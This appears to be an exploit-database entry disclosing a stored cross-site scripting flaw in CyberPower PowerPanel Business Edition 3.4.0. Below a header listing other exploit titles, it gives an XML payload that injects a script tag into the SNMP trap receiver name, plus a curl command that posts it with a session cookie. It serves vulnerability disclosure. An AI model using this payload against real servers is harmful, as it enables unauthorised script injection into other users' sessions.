1a13989f12
5 changes to exploits/shellcodes Serv-U FTP Server - prepareinstallation Privilege Escalation (Metasploit) Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (Metasploit) AZADMIN CMS 1.0 - SQL Injection WordPress Plugin iLive 1.0.4 - Cross-Site Scripting WordPress Plugin Live Chat Unlimited 2.8.3 - Cross-Site Scripting WordPress Plugin iLive 1.0.4 - Cross-Site Scripting WordPress Plugin Live Chat Unlimited 2.8.3 - Cross-Site Scripting WorkSuite PRM 2.4 - 'password' SQL Injection CiuisCRM 1.6 - 'eventType' SQL Injection Varient 1.6.1 - SQL Injection WorkSuite PRM 2.4 - 'password' SQL Injection CiuisCRM 1.6 - 'eventType' SQL Injection Varient 1.6.1 - SQL Injection Symantec DLP 15.5 MP1 - Cross-Site Scripting Linux/x86 - execve(/bin/sh) using JMP-CALL-POP Shellcode (21 bytes)
37 lines
No EOL
1.4 KiB
Text
37 lines
No EOL
1.4 KiB
Text
# Exploit Title: PowerPanel Business Edition - Stored Cross Site Scripting (SNMP trap receivers)
|
|
# Google Dork: None
|
|
# Date: 6/29/2019
|
|
# Exploit Author: Joey Lane
|
|
# Vendor Homepage: https://www.cyberpowersystems.com
|
|
# Version: 3.4.0
|
|
# Tested on: Ubuntu 16.04
|
|
# CVE : Pending
|
|
|
|
CyberPower PowerPanel Business Edition 3.4.0 contains a stored cross site scripting vulnerability. The fields used to configure SNMP trap receivers are not being properly sanitized. This allows an authenticated user to inject arbitrary javascript code, which will later be executed once a user returns to the Event Action / Recipient page.
|
|
|
|
To demonstrate the vulnerability, create a file named 'xss.xml' with the following contents:
|
|
|
|
<?xml version="1.0" encoding="UTF-8" ?>
|
|
<ppbe>
|
|
<target>
|
|
<command>action.notification.trapRecipient.setup</command>
|
|
</target>
|
|
<inquire>
|
|
<trapRecipientSetup>
|
|
<action>ADD</action>
|
|
<trapRecipient>
|
|
<name><script>alert(1)</script></name>
|
|
<status>true</status>
|
|
<type>1</type>
|
|
<ipAddress>127.0.0.1</ipAddress>
|
|
<community>public</community>
|
|
</trapRecipient>
|
|
</trapRecipientSetup>
|
|
</inquire>
|
|
</ppbe>
|
|
|
|
Now execute the following curl command to submit a POST request with the contents of the 'xss.xml' file:
|
|
|
|
curl -X POST -H 'Content-type: text/xml' -d @xss.xml --cookie "JSESSIONID=(A VALID SESSION ID)" http://(A VALID HOST):3052/agent/ppbe.xml
|
|
|
|
Visiting the Event Action / Recipient page will execute the posted javascript code. |